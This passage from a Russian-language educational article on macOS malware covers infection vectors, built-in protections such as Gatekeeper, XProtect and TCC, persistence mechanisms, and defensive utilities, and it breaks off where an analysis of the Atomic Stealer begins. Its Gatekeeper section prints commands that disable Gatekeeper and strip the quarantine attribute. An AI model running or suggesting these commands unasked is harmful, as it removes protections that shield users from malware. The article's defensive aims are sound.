  <p id="WDvQ">Для распространения &quot;игры&quot; некий Satomi See, у которого в описании профиля было написано &quot;Project Manager: Pure Land&quot;, писал личные сообщения пользователям твиттера и предлагал протестировать игру за различные плюшки -  NFT, токены и подобное.</p>
  <figure id="573D" class="m_column">
    <img src="https://img3.teletype.in/files/a0/7a/a07ac080-37e8-4ccd-b126-615821a25f5a.png" width="1920" />
    <figcaption>Пользователь Twitter, распространяющий OSX.PureLand</figcaption>
  </figure>
  <p id="NZOg">Также была взломана почта одного из работников популярной блокчейн игры <a href="https://www.sandbox.game/en/" target="_blank">The Sandbox</a>, с которой в дальнейшем проводилась рассылка с рекламой трояна.</p>
  <figure id="A6xq" class="m_retina">
    <img src="https://img4.teletype.in/files/70/1a/701ad228-46fa-4ce3-9c8c-9d631dc31533.png" width="585" />
    <figcaption>Рассылка со взломанной почты сотрудника The Sandbox</figcaption>
  </figure>
  <p id="aULP">Сам вирус представлял из себя самый обычный стиллер, ворующий данные из браузеров и криптокошельков. Более детальный разбор OSX.PureLand можно найти по <a href="https://iamdeadlyz.medium.com/pureland-a-fake-project-related-to-the-sandbox-malspam-13b9abe751d1" target="_blank">ссылке</a>.</p>
  <p id="jQLj"></p>
  <h3 id="S7n6">2.5. Атаки на разработчиков</h3>
  <p id="BpPH">Злоумышленники обычно используют этот метод распространения для заражения библиотек, инструментов разработки или проектов, хранящихся на платформах с открытым исходным кодом, таких как GitHub, GitLab и другие.</p>
  <p id="YXex">Из примеров можем выделить Python пакеты, которые после установки подарят вашей системе дополнительный бэкдор (<a href="https://blog.sonatype.com/new-pymafka-malicious-package-drops-cobalt-strike-on-macos-windows-linux" target="_blank">ссылка</a>).</p>
  <figure id="0WBH" class="m_column">
    <img src="https://img2.teletype.in/files/59/d4/59d4203e-8e55-4c51-bfdd-9de35e196453.png" width="715" />
    <figcaption>Вредоносный Python пакет pymafka</figcaption>
  </figure>
  <p id="nDhB">А также непроверенные Xcode проекты, которые во время сборки приложения выполняют произвольный вредоносный код (<a href="https://www.jamf.com/blog/osx-xcsset-subverts-developer-environments/" target="_blank">ссылка</a>).</p>
  <figure id="hVkw" class="m_column">
    <img src="https://img4.teletype.in/files/31/a4/31a4404f-d7a9-4360-8ed1-1f5711783a6b.png" width="1356" />
    <figcaption>Проект Xcode, зараженный вирусом OSX.XCSSET </figcaption>
  </figure>
  <p id="pg1W"></p>
  <h3 id="KXY0">2.6. Макросы Microsoft Office</h3>
  <p id="gZNL">Microsoft Office предоставляет возможность автоматизировать рутинные действия в своих документах с помощью макросов (код, обычно написанный на Visual Basic). И хоть макросы сами по себе не являются злом, при желании их можно применить во вред и установить вредоносное программное обеспечение на компьютер жертвы.</p>
  <p id="YyeV">При открытии Word документа, содержащего макросы, появляется окно, оповещающее о наличии этих самых макросов. Следует с осторожностью относится к таким файлам и разрешать использовать макросы только тем, которые имеют высокий кредит доверия.</p>
  <figure id="gY4C" class="m_column">
    <img src="https://img3.teletype.in/files/eb/72/eb72dac2-0da7-4e58-a328-a43b40a346ca.png" width="1116" />
    <figcaption>Окно, появляющееся при открытии документа, который содержит макросы</figcaption>
  </figure>
  <p id="2a5Z"></p>
  <h3 id="Ry10">2.7. Атаки на цепь поставок</h3>
  <p id="wWIL">Атаки на цепь поставок (Supply chain attacks) изначально направлены на распространителей добропорядочных приложений. Если хакер получает доступ к инфраструктуре разработчика, он может манипулировать процессом сборки, внедряя вирусное содержимое в оригинальные пакеты.</p>
  <p id="gkPh">Такой способ атаки очень эффективен, так как его сложно заметить. Троянизированное приложение будет подписано действительным сертификатом разработчика и, вероятно, успешно пройдет автоматизированную проверку от Apple, что позволит без проблем распространять его.</p>
  <p id="jyKV">Примером такой атаки может служить инцидент с компанией 3CX в начале 2023 года. Были заражены сервера компании, на которых собирались приложения, готовые к распространению. Apple успешно проверила сборку и нотаризовала ее, тем самым дав добро на запуск на всех современных операционных системах macOS. Подробнее <a href="https://objective-see.org/blog/blog_0x73.html" target="_blank">здесь</a>.</p>
  <p id="fg5l"></p>
  <h3 id="CCsE">2.8. Эксплойты</h3>
  <p id="Shvl">Эксплойт - это вредоносный код, который использует уязвимости в приложении для распространения вирусов.</p>
  <p id="8BdC">Один из самых опасных типов атак - эксплойты, использующие уязвимость нулевого дня. Уязвимость нулевого дня представляет собой баг в безопасности приложения, о котором разработчик ещё не знает, и, соответственно, не выпущен патч для её устранения.</p>
  <p id="YUv4">Опасность таких эксплойтов заключается в том, что пользователь может даже не взаимодействовать с вредоносными исполняемыми файлами, но при этом система может быть заражена.</p>
  <p id="tIIm">В 2019 году была обнаружена zero-day уязвимость в браузере Firefox, позволяющая выполнить произвольный код, содержащийся на вредоносном сайте (<a href="https://www.zero-day.cz/database/544" target="_blank">ссылка</a>).</p>
  <p id="MKa8">Также, в марте 2024 года, был обнаружен бэкдор в open-source библиотеке xz, которая предоставляет функционал сжатия и используется огромным количеством пользователей (<a href="https://arstechnica.com/security/2024/04/what-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world/" target="_blank">ссылка</a>).</p>
  <p id="G5To"></p>
  <hr />
  <h2 id="JnDD">3. Механизмы защиты в macOS</h2>
  <p id="D0MF">После того, как мы разобрались со способами заражения, пришло время понять, какие встроенные защитные механизмы предоставляет macOS.</p>
  <p id="w0uT">В отличие от операционной системы Windows, где роль защитника выполняет привычный всем антивирус Windows Defender (теперь известный как Microsoft Defender Antivirus), в macOS нет одного основного приложения, ответственного за безопасность. Вместо этого система предоставляет набор механизмов и утилит, тесно взаимосвязанных. Каждый из них является своего рода строительным блоком целой системы безопасности, создающей множество преград для вредоносного программного обеспечения.</p>
  <p id="T2Ei">Все эти компоненты мы рассмотрим отдельно.</p>
  <p id="BbdM"></p>
  <h3 id="mjNo">3.1. Карантин</h3>
  <p id="Dpvq">Карантин - это функция безопасности в macOS, предназначенная для защиты компьютера от потенциально опасных файлов, полученных извне. Она появилась в Mac OS X Leopard (версия 10.5) в 2007 году.</p>
  <p id="BFCS">Когда пользователь загружает файл из Интернета, получает его по электронной почте или через AirDrop, приложение, ответственное за это действие, устанавливает на файл атрибут карантина (com.apple.quarantine).</p>
  <p id="620Y">Каждый раз, при попытке запустить исполняемый файл, macOS проверяет, не прикреплен ли к файлу атрибут карантина. Если это так, то при первой попытке открыть его macOS выведет предупреждение о том, что файл был загружен из Интернета, и спросит, уверены ли вы, что хотите его открыть. Это предупреждение не только дает вам возможность сделать паузу и подумать, безопасен ли файл, прежде чем открывать его, но также запускает последующую цепочку проверок, которую мы рассмотрим далее.</p>
  <figure id="uYP7" class="m_retina">
    <img src="https://img3.teletype.in/files/2b/2d/2b2d71ca-898f-4753-b5fa-da9f357ac26c.png" width="243" />
    <figcaption>Предупреждение при первом открытии файла с атрибутом карантина</figcaption>
  </figure>
  <p id="Vpfy">После успешного запуска приложения, атрибут карантина будет удален и приложение будет считаться доверенным.</p>
  <blockquote id="RG38">Все файлы, попадающие на устройство из недоверенного источника, автоматически получают атрибут карантина. При этом система отображает диалоговое окно с предупреждением и запускает проверку только для тех файлов, которые могут быть выполнены в качестве программ (следовательно, они также могут содержать вредоносную логику). Благодаря этому пользователь может не беспокоиться о запуске текстовых файлов, медиафайлов и подобных, так как macOS предварительно проверяет их на наличие исполняемых компонентов.</blockquote>
  <p id="KnTG">Отобразить список атрибутов файла и проверить, есть ли у него атрибут карантина, можно таким образом:</p>
  <pre id="Y36v" data-lang="shell">xattr -l &lt;path-to-file&gt;</pre>
  <p id="Ky8p">Также, атрибут можно удалить вручную:</p>
  <pre id="tnB7" data-lang="shell">xattr -d &lt;path-to-file&gt;</pre>
  <p id="5LDo">Карантин сам по себе никак не связан с проверкой файла на вирусы, тем не менее, он является важным строительным блоком, на который опираются другие механизмы. </p>
  <p id="X6nI">До появления карантина файлов macOS имела некоторые базовые механизмы защиты от вредоносного ПО, но они не были столь надежными, как функции, появившиеся благодаря карантину файлов и дальнейшим усовершенствованиям системы безопасности.</p>
  <p id="ZkdP"></p>
  <h3 id="lXei">3.2. Подписи</h3>
  <p id="Mcd9">Следующим важным строительным блоком безопасности является подпись исполняемого кода. Apple впервые представила данный функционал в Mac OS X Leopard (версия 10.5), которая вышла в октябре 2007 года.</p>
  <p id="UXBz">Механизм подписи кода основан на асимметричной криптографии. Разработчик, который планирует распространять свои программы, получает от Apple сертификат, связанный с приватным ключом. Эта пара образует так называемую <strong>Digital Identity</strong>, с помощью которой можно подписывать исполняемые файлы, что в конечном итоге дает возможность любому проверить эту подпись. </p>
  <p id="Tsed">Из этой возможности вытекают следующие плюсы:</p>
  <ul id="W4Dj">
    <li id="DqvR">Идентификация кода как исходящего от конкретного источника, так как из подписи можно однозначно узнать владельца сертификата. Из чего следует закономерное доверие к известным разработчикам</li>
    <li id="gFXt">Уверенность в том, что код не был никак модифицирован после подписания изначальным разработчиком, так как малейшее изменение делает подпись невалидной</li>
  </ul>
  <p id="ujTG">Проверить подпись можно как с помощью CLI утилит:</p>
  <pre id="Zihq" data-lang="shell">spctl -a -vv &lt;path-to-file&gt;</pre>
  <pre id="g5td" data-lang="shell">codesign -dvvv &lt;path-to-file&gt;</pre>
  <p id="QuFL">Так и с помощью приложения <a href="#jhLw">What&#x27;s Your Sign (WYS)</a>:</p>
  <figure id="labY" class="m_column">
    <img src="https://img1.teletype.in/files/42/da/42da3688-d86e-4cc5-a836-7a22efc960d3.png" width="1366" />
    <figcaption>What&#x27;s Your Sign (Steam)</figcaption>
  </figure>
  <p id="R5yS">Если сертификат каким-то образом был скомпроментирован, или замечен в подписании вредоносного ПО, он будет отозван.</p>
  <figure id="VzQm" class="m_column">
    <img src="https://img2.teletype.in/files/97/e6/97e69599-374f-4968-9c73-c17d92fb0fdc.png" width="1356" />
    <figcaption>Отозванный сертификат Proton RAT</figcaption>
  </figure>
  <p id="srdi">Система безопасности macOS в лице Gatekeeper-а по умолчанию запрещает пользователю запускать приложения с невалидной или полностью отсутствующей подписью.</p>
  <figure id="Apvh" class="m_retina">
    <img src="https://img3.teletype.in/files/a9/4c/a94ce86d-dc8e-45e8-a32e-6f616b9ee5d5.png" width="248" />
    <figcaption>Попытка запуска неподписанного приложения, скачанного с Telegram</figcaption>
  </figure>
  <blockquote id="vbJe">Следует понимать, что подпись, хоть и значительно повышает доверие к исполняемому файлу, не является гарантией его добропорядочности. Digital Identity может быть как украдена, так и создана на подставном/взломанном аккаунте.</blockquote>
  <p id="RSXW"></p>
  <h3 id="lRh4">3.3. XProtect</h3>
  <p id="7bXi">XProtect, изначально представленный в Mac OS X Snow Leopard (версия 10.6) в 2009 году, призван защищать пользователя от известных угроз. На текущий момент он состоит из трех компонентов.</p>
  <p id="jmZW">1.<strong> XProtect </strong>- это предельно старое решение для обнаружения вредоносных программ на основе сигнатур, которое проверяет наличие вредоносного содержимого при запуске приложения или отдельного бинарного файла. </p>
  <figure id="84Xk" class="m_retina">
    <img src="https://img1.teletype.in/files/4a/7d/4a7d4eb7-9946-47f2-8fec-cbe9db4654a3.png" width="327" />
    <figcaption>XProtect обнаружил экземпляр вируса OSX.Shlayer</figcaption>
  </figure>
  <p id="HZE6">Работая на основе сигнатур известных вирусов, XProtect имеет значительные проблемы с реагированием на новые образцы, которые еще не попали к нему в базу.</p>
  <blockquote id="igG0">Если раньше <strong>XProtect </strong>исследовал исключительно файлы с установленным атрибутом карантина, то сейчас, начиная с macOS Catalina, он проверяет все исполняемые файлы.</blockquote>
  <p id="FUDR">2. <strong>XProtect Remediator (XPR)</strong> - дополнение к стандартному XProtect, введенное в macOS Monterey 12.3 (март 2022), отвечающее за периодическое сканирование системы для поиска и удаления известных вредоносов (тоже базируется на сигнатурах).</p>
  <p id="HIJN">3. <strong>XProtect BehaviorService (XBS)</strong> - самый новый компонент защиты, представленный в macOS Ventura 13 (октябрь 2022). В отличие от своих предшественников, базирующихся на статическом анализ, XBS нацелен на выявление вредоносного поведения (динамический анализ). Под таким поведением можно понимать, например, доступ к внутренним папкам браузеров, которые содержат конфиденциальные данные.</p>
  <blockquote id="hI5M">На текущий момент XProtect BehaviorService не принимает никаких действий по обезвреживанию вредоносного поведения, а только регистрирует такие события. </blockquote>
  <p id="LreQ"></p>
  <h3 id="S91S">3.4. Нотаризация</h3>
  <p id="ae6e">Нотаризация - процесс, представленный в macOS Mojave (версия 10.14.5) в 2019 году, который обязывает всех разработчиков, желающих распространять свои приложения вне App Store, предварительно отправлять его на сервера Apple для обследования на вредоносный контент, проверку корректности подписей и некоторых других требований. Приложения из App Store проходят ручную проверку перед допуском с магазину, поэтому не нуждаются в автоматической нотаризации.</p>
  <p id="V0yK">Успешно нотаризованое приложение, скачанное из интернета, при запуске отображает следующее окно:</p>
  <figure id="J5DT" class="m_retina">
    <img src="https://img3.teletype.in/files/e7/23/e723574d-7b8c-4001-898e-aceaa9424205.png" width="249" />
    <figcaption>Нотаризованое приложение при первом запуске (с атрибутом карантина)</figcaption>
  </figure>
  <p id="30PA">В противном случае, если приложение не было нотаризовано, его запуск на современных системах будет запрещен Gatekeeper-ом по умолчанию.</p>
  <figure id="xX8f" class="m_retina">
    <img src="https://img4.teletype.in/files/b2/3e/b23eb603-a6b2-406e-9ff9-ab82cdfd0cfb.png" width="249" />
    <figcaption>Приложение не нотаризовано. Запуск запрещен</figcaption>
  </figure>
  <blockquote id="L2eg">Из случая атаки на инфраструктуру 3CX, описанного выше, мы можем понять, что Apple не всегда корректно проверяет исполняемые файлы во время нотаризации и вредоносное ПО также может быть успешно нотаризовано в некоторых ситуациях.</blockquote>
  <p id="iiV2"></p>
  <h3 id="Aq4I">3.5. Gatekeeper </h3>
  <p id="uTOX">Одним из главных элементов системы безопасности macOS является Gatekeeper, который мы уже упоминали в ходе статьи. Gatekeeper представляет собой не просто отдельное исполняемое приложение, схожее с антивирусом в Windows, а скорее совокупность политик безопасности и технологий, работающих вместе для обеспечения защиты пользователей от запуска недоверенного программного обеспечения.</p>
  <p id="LvdZ">Он существует еще со времен OS X Mountain Lion (версия 10.8), июль 2012. При этом постоянно улучшается и обрастает новым функционалом.</p>
  <p id="JJnR">В качестве составных частей Gatekeeper-а можно выделить механизмы, рассмотренные выше. Поэтому, говоря о нем, в основном имеют в виду связку <strong>Quarantine + Notarization + Gatekeeper + XProtect</strong>.</p>
  <p id="BVdl">Безопасность обеспечивается следующим образом:</p>
  <ul id="V7ba">
    <li id="XNy2">Сканирование вредоносного контента (XProtect) - Gatekeeper сканирует загруженное программное обеспечение на наличие известного вредоносного контента перед его запуском</li>
    <li id="OR4U">Проверка подписи - Gatekeeper проверяет, что программное обеспечение было подписано определенным разработчиком и не было изменено</li>
    <li id="QG75">Проверка нотаризации - Gatekeeper смотрит, была ли нотаризована программа. Если разработчик вложил нотаризационный билет, проверка может быть осуществлена локально, в ином случае - необходимо обратиться на сервера Apple для верификации</li>
    <li id="qeZ4">Проверка политик безопасности - Gatekeeper обеспечивает следование правилам безопасности, установленных пользователем. Например, разрешая запускать только программное обеспечение из Mac App Store или от известных разработчиков</li>
    <li id="Dt7g">Первоначальное предупреждение при запуске (Карантин) - Gatekeeper запрашивает разрешение у пользователя при первой попытке открыть загруженное приложение, чтобы убедиться, что он намерен его запустить.</li>
  </ul>
  <p id="vdKj">Важно заметить, что практически все проверки, за исключением XProtect, проводятся только когда файл находится в карантине (имеет атрибут com.apple.quarantine).</p>
  <p id="W32q">Если какое-то обязательное требование безопасности не было удовлетворено - Gatekeeper запрещает запуск приложения. Но, если пользователь очень хочет это сделать, то у него никто не забирает эту возможность. Рассмотрим несколько способов, как это можно осуществить:</p>
  <p id="fTd2">  1. Отключить Gatekeeper</p>
  <pre id="OiBO" data-lang="shell">sudo spctl --master-disable</pre>
  <p id="XETf">  2. Удалить атрибут карантина</p>
  <pre id="Ab0u" data-lang="shell">xattr -dr com.apple.quarantine &lt;path-to-file&gt;</pre>
  <p id="Qw0M">  3. Открыть исполняемый файл через контекстное меню (ПКМ + Open)</p>
  <figure id="OTRo" class="m_retina">
    <img src="https://img4.teletype.in/files/7f/cf/7fcf237f-4d29-4925-8ee0-a2a35cf00ce9.png" width="248" />
    <figcaption>Запуск недоверенного файла через контекстное меню</figcaption>
  </figure>
  <p id="pGIj">  4. Запустить файл, заблокированный Gatekeeper-ом, после чего перейти в настройки безопасности и нажать Open Anyway</p>
  <figure id="B17K" class="m_retina">
    <img src="https://img1.teletype.in/files/00/5c/005cd696-3148-498e-8dd6-26df66dd00ea.png" width="471" />
    <figcaption>Запуск недоверенного файла через настройки безопасности</figcaption>
  </figure>
  <p id="Fu6Z">В то время как перечисленные способы отключения Gatekeeper-а требуют явного вмешательства пользователя, исследователи безопасности также периодически обнаруживают обходы этого механизма. Любой способ обойти Gatekeeper, то есть заставить пользователя загрузить что-то и выполнить, когда Gatekeeper должен это запретить, считается уязвимостью macOS.</p>
  <p id="WjOA">В 2021 году Patrick Wardle <a href="https://objective-see.org/blog/blog_0x64.html" target="_blank">нашел</a> одну из таких уязвимостей, которая позволяла запускать недоверенный код. Выглядело это примерно так:</p>
  <figure id="3TKH" class="m_column">
    <img src="https://img4.teletype.in/files/ba/7b/ba7b6b99-0e49-482e-a88a-a2061e138129.gif" width="600" />
    <figcaption>Эксплуатация уязвимости, которую обнаружил Patrick Wardle</figcaption>
  </figure>
  <p id="fzat">Apple быстро исправила проблему, но это, разумеется, не гарантирует, что создатели вредоносного ПО не найдут нового изысканного эксплойта.</p>
  <p id="0jd4"></p>
  <h3 id="v7hH">3.6. TCC</h3>
  <p id="fbA9"><strong>TCC (Transparency, Consent, and Control)</strong> - механизм, отвечающий за доступ приложений к пользовательским данным. Был введен в OS X Mojave (сентябрь 2018) и улучшен в OS X Catalina (октябрь 2019).</p>
  <p id="uqdC">Идея простая - пользователь должен явно разрешить приложению иметь доступ к данным, которые могут считаться конфиденциальными. Изменить эти разрешения можно в настройках безопасности. </p>
  <p id="IK8G">Среди основных можно выделить:</p>
  <ul id="DH5X">
    <li id="aNCU">Микрофон</li>
    <li id="4Phl">Камера</li>
    <li id="bc5f">Полный доступ к диску</li>
    <li id="s1s1">Запись экрана</li>
    <li id="hdVb">Захват нажатий клавиш</li>
  </ul>
  <p id="yK1x">Для примера можем попытаться отобразить содержимое внутренней директории браузера Safari через Python скрипт.</p>
  <pre id="eLj1" data-lang="python">import os
os.listdir(&quot;/Users/user/Library/Safari&quot;)</pre>
  <p id="cCp4">В том случае, если мы не предоставили скрипту разрешение на доступ ко всему диску, следующая ошибка будут отображена:</p>
  <pre id="vPTP" data-lang="atom">PermissionError: [Errno 1] Operation not permitted: &#x27;/Users/user/Library/Safari&#x27;</pre>
  <blockquote id="BNdZ">Стоит воспринимать этот функционал как дополнительный слой защиты, который может предотвратить атаку. При этом не стоит бездумно полагаться на него, так как существуют варианты обхода, которыми успешно пользуются опытные разработчики вредоносных приложений.</blockquote>
  <hr />
  <h2 id="5pxF">4. Закрепление в системе</h2>
  <p id="Swi5">Запуск трояна, ворующего данные это, конечно, неприятно, но обнаружение того, что ваш компьютер уже год является частью ботнета - еще хуже. </p>
  <p id="9l9n">В этой главе мы разберем, какие основные механизмы закрепления предоставляет система для программного обеспечения. Все они по умолчанию являются легитимными и могут быть использованы обычным софтом.</p>
  <blockquote id="Poqx">Если вирус использует один способ закрепления в системе, это совсем не означает что он не использует другой в дополнение. Таким образом, пользователь, заметив и удалив один элемент автозагрузки, может ошибочно подумать что ему ничего не угрожает. Такое предположение не всегда является правдой.</blockquote>
  <blockquote id="jHUD">Просканировать свое устройство можно при помощи утилиты <a href="#xnxu">KnockKnock</a>.</blockquote>
  <p id="Az65"></p>
  <h3 id="WlJv">4.1. Login Items</h3>
  <p id="WssR">Login Items - способ закрепления в системе, при котором приложение запускается после успешного логина в систему и наследует права пользователя.</p>
  <p id="JISn">Список приложений, использующих эту функцию можно проверить в <br />Settings -&gt; General -&gt; Login Items.</p>
  <figure id="dAt3" class="m_column">
    <img src="https://img2.teletype.in/files/d5/05/d5052761-5fa1-417b-8dae-c455d13c6f05.png" width="952" />
    <figcaption>Login Items</figcaption>
  </figure>
  <p id="CQCl"></p>
  <h3 id="dAjn">4.2. Launch Agents &amp; Daemons</h3>
  <p id="y8zX">Launch Agents и Launch Daemons - это два механизма в macOS, которые дают возможность запускать и управлять фоновыми процессами на компьютере.</p>
  <ol id="UKnv">
    <li id="exIv"><strong>Launch Agents</strong>: Это механизм, который позволяет запускать процессы от имени пользователя при входе в систему.</li>
    <li id="fhGy"><strong>Launch Daemons</strong>: Это механизм, который позволяет запускать процессы от имени системы (root) при запуске компьютера, независимо от того, вошел ли в систему пользователь. </li>
  </ol>
  <p id="bhpD">Оба этих механизма используют специальные файлы конфигурации типа plist, строго размещаемого по определенному маршруту, чтобы определить, какие программы следует запускать, когда и с какими параметрами.</p>
  <p id="IEGS">Файлы списка свойств (Property list, plist) - это тип файлов, используемых в macOS для хранения данных конфигурации в структурированном формате. По сути, это XML или бинарные файлы, содержащие пары ключ-значение.</p>
  <p id="KM7I">Пример простого plist файла, который определяет демона:</p>
  <pre id="waRu" data-lang="xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;
&lt;plist version=&quot;1.0&quot;&gt;
	&lt;dict&gt;
		&lt;key&gt;Label&lt;/key&gt; &lt;!--Имя демона--&gt;
		&lt;string&gt;com.example.app&lt;/string&gt;
		&lt;key&gt;Program&lt;/key&gt; &lt;!--Путь к исполняемому файлу--&gt;
		&lt;string&gt;/opt/directory/executable&lt;/string&gt;
		&lt;key&gt;RunAtLoad&lt;/key&gt; &lt;!--Булевое значение, определяющее будет ли система запускать демона после автозагрузки--&gt;
		&lt;true/&gt;
	&lt;/dict&gt;
&lt;/plist&gt;</pre>
  <p id="HpK0">Конфигурационные файлы для Launch Agent могут быть замещены по следующим маршрутам:</p>
  <ul id="8Dyh">
    <li id="A4tS">~/Library/LaunchAgents (Пользовательские агенты)</li>
    <li id="ucKF">/Library/LaunchAgents (Глобальные агенты)</li>
  </ul>
  <p id="XIcN">В то время как для демона существует только одна локация, так как они по умолчанию глобальные:</p>
  <ul id="cjTr">
    <li id="Wzr0">/Library/LaunchDaemons</li>
  </ul>
  <p id="2zf5">Launch Agent для какой-то вспомогательной утилиты Steam-а выглядит так:</p>
  <figure id="PhI4" class="m_column">
    <img src="https://img3.teletype.in/files/66/0e/660e899a-8f91-47f3-be89-b2bda0b2aebf.png" width="1650" />
    <figcaption>Steam Launch Agent</figcaption>
  </figure>
  <hr />
  <h2 id="25Iy">5. Полезные утилиты</h2>
  <p id="2KZY">Как мы теперь знаем, компоненты, обеспечивающие безопасность macOS, далеко не идеальны и имеют свои изъяны. Пришло время рассмотреть утилиты, которые могут помочь рядовому пользователю усилить защиту системы.</p>
  <blockquote id="efjT">Все нижеперечисленные программы бесплатны и имеют открытый исходный код.</blockquote>
  <h3 id="k3cT">5.1. LuLu</h3>
  <p id="5Paj">LuLu - брандмауэр (firewall), с помощью которого можно контролировать исходящие соединения - запрещать подозрительные и разрешать проверенные. </p>
  <p id="VLlr">Так как вредоносное программное обеспечение в большинстве своем бесполезно  без интернет соединения, качественный сетевой экран может спасти пользователя от случайно запущенного вируса.</p>
  <p id="1a0p">Из интересного - многие трояны, прежде чем исполнить свою логику, проводят сканирование системы на присутствие подобного софта и, в случае находки такового на зараженном ПК, попросту прекращают свое действие дабы оставаться незамеченным больший промежуток времени.</p>
  <blockquote id="uB2o">По моему мнению это абсолютный must-have для всех пользователей macOS</blockquote>
  <p id="Ud8F">Ссылка: <a href="https://objective-see.org/products/lulu.html" target="_blank">https://objective-see.org/products/lulu.html</a></p>
  <figure id="yOFC" class="m_column">
    <img src="https://img3.teletype.in/files/ed/c3/edc33baf-85a6-48ad-95d2-6d1ce27b6a65.png" width="1470" />
    <figcaption>Steam пытается получить доступ к серверу обновлений (LuLu)</figcaption>
  </figure>
  <p id="9NZL"></p>
  <h3 id="xnxu">5.2. KnockKnock</h3>
  <p id="spy2">KnockKnock позволяет провести сканирование системы на существующие в ней закрепленные компоненты (Login Items, Launch Agents, Daemons и другие). </p>
  <p id="sICa">Если компьютер заражен вирусом с функцией автозагрузки - он, скорее всего, будет отображен тут.</p>
  <p id="1cbN">Ссылка: <a href="https://objective-see.org/products/knockknock.html" target="_blank">https://objective-see.org/products/knockknock.html</a></p>
  <figure id="CqJe" class="m_column">
    <img src="https://img3.teletype.in/files/2a/ef/2aefdda6-be65-49a1-a4d9-e006f187aa8c.png" width="2574" />
    <figcaption>Сканирование системы с помощью KnockKnock</figcaption>
  </figure>
  <p id="3Twt"></p>
  <h3 id="QfU9">5.3. BlockBlock</h3>
  <p id="iPuE">BlockBlock - утилита, которая замечает изменения в файлах автозагрузки аналогично KnockKnock, только в режиме реального времени.</p>
  <p id="pXYk">Ссылка: <a href="https://objective-see.org/products/blockblock.html" target="_blank">https://objective-see.org/products/blockblock.html</a></p>
  <figure id="QsmI" class="m_column">
    <img src="https://img1.teletype.in/files/8a/b5/8ab5f7a5-1695-4ab4-986b-4ed9be97dd94.png" width="1866" />
    <figcaption>Steam пытается установить Launch Agent</figcaption>
  </figure>
  <p id="KfC8"></p>
  <h3 id="jhLw">5.4. What&#x27;s Your Sign</h3>
  <p id="hv9Y">What&#x27;s Your Sign (WYS) - утилита, позволяющая проверить цифровую подпись файла.</p>
  <p id="dIXi">Ссылка: <a href="https://objective-see.org/products/whatsyoursign.html" target="_blank">https://objective-see.org/products/whatsyoursign.html</a></p>
  <figure id="ZNwh" class="m_column">
    <img src="https://img2.teletype.in/files/d9/62/d9625754-a4f0-49b5-af74-891c5eacc537.png" width="1362" />
    <figcaption>What&#x27;s Your Sign - проверка подписи</figcaption>
  </figure>
  <p id="T6oN"></p>
  <h3 id="BV6u">5.5. KeePassXC</h3>
  <p id="3oKY">KeePassXC - кросплатформенный менеджер паролей. База хранится локально, никаких облачных синхронизаций не используется.</p>
  <p id="oDwu">То, как пользователь хранит пароли и обращается с ними напрямую влияет на его информационную безопасность. Несколько рекомендаций по этой теме:</p>
  <ul id="Bn0M">
    <li id="jZt8">Используйте менеджер паролей. Это позволяет иметь уникальный сложный пароль для каждой учетной записи без необходимости запоминать их все, а также избегать хранения важных данных в открытых местах</li>
    <li id="kHit">Создавайте надежные пароли, содержащие минимум 12 знаков - буквы различных регистры, цифры, спецсимволы. Лучше всего использовать генератор случайных символов, один из которых присутствует в KeePassXC</li>
    <li id="a1nf">Никогда не используйте один и тот же пароль повторно</li>
  </ul>
  <p id="fSMz">Ссылка: <a href="https://keepassxc.org/" target="_blank">https://keepassxc.org/</a></p>
  <figure id="EADi" class="m_column">
    <img src="https://img1.teletype.in/files/c8/97/c897b2c5-18be-4f03-990b-82c535b64681.png" width="1580" />
    <figcaption>Интерфейс KeePassXC</figcaption>
  </figure>
  <hr />
  <h2 id="fO3e">6. Анализ вируса Atomic macOS Stealer (AMOS)</h2>
  <p id="3lCE">Atomic macOS Stealer (AMOS) - вредоносное программное обеспечение, впервые обнаруженное в начале 2023 года. Принадлежит к семейству стиллеров, основная цель которого, при попадании на компьютер жертвы, собрать как можно больше данных, с помощью которых распространитель может извлечь выгоду (чаще всего финансовую). </p>
  <p id="o8ws">На текущий момент стиллеры являются чрезвычайно популярными из-за нескольких факторов:</p>
  <ul id="SVGc">
    <li id="LdOn">Простота. Данный вид вредоносного ПО предельно прост в реализации, не требует закрепления в системе и должен быть запущен всего один раз, в отличие от тех же троянов удаленного доступа, которые стараются оставаться активными как можно дольше и воровство данных обычно является только малой частью их функционала</li>
    <li id="Q5aB">Популярность криптовалют и онлайн-платежей. Все больше людей со временем начинают владеть цифровыми активами, что становится лакомой целью для злоумышленников. Стиллеры не упускают такой шанс и стараются собирать те данные, из которых можно впоследствии извлечь средства</li>
    <li id="QBCP">Неосведомленность пользователей. Хоть вирусы для macOS существуют уже давно, рядовой пользователь все еще может наивно полагать, что система его защитит. Помимо этого, огромное владельцев техники Apple не заморачивается над созданием сложных и уникальных паролей и активно пользуется функцией сохранения паролей в браузере/Keychain-е </li>
  </ul>
  <p id="SVfj"></p>
  <h3 id="fBZK">6.1. Распространение</h3>
  <p id="mwOB">Объявления о продаже можно встретить в телеграме и на различных форумах. Примечательно, что продавец организовал процесс предоставления доступа к админ панели стиллера по системе подписки <s>(И ТУТ ТОЖЕ ПОДПИСКИ???)</s>. </p>
  <p id="VQyY">В начале продаж (апрель 2023) цена составляла $1000/месяц, в то время как на момент написания статьи поднялась до $3000/месяц.</p>
  <figure id="7dHY" class="m_column">
    <img src="https://img3.teletype.in/files/67/ea/67eaaeeb-e478-4b16-b5be-29de349f5777.png" width="1710" />
    <figcaption>Объявление о продаже Atomic macOS Stealer</figcaption>
  </figure>
  <p id="G7cp">Каждый покупатель распространял полученный билд AMOS-а как ему вздумается, поэтому не было какого-то единого согласованного варианта.</p>
  <p id="7O0E">Из известных на текущий момент можно выделить следующие способы распространения:</p>
  <ul id="vAEd">
    <li id="YURQ">Зараженные приложения - TradingView, Notion, Slack. При таком методе закупалась реклама в поисковых сервисах, что автоматически ставило вредоносный сайт с вирусом на первые места выдачи.</li>
    <li id="iIxy">Пиратский софт - Adobe Photoshop, Microsoft Office, Tor Browser и другие.</li>
  </ul>
  <figure id="Kvva" class="m_column">
    <img src="https://img1.teletype.in/files/02/c9/02c971ab-f3ca-426b-ae1e-d8e11e821ae8.png" width="2874" />
    <figcaption>Отзыв довольного покупателя</figcaption>
  </figure>
  <p id="bsu8"></p>
  <h3 id="OX6D">6.2. Статический анализ</h3>
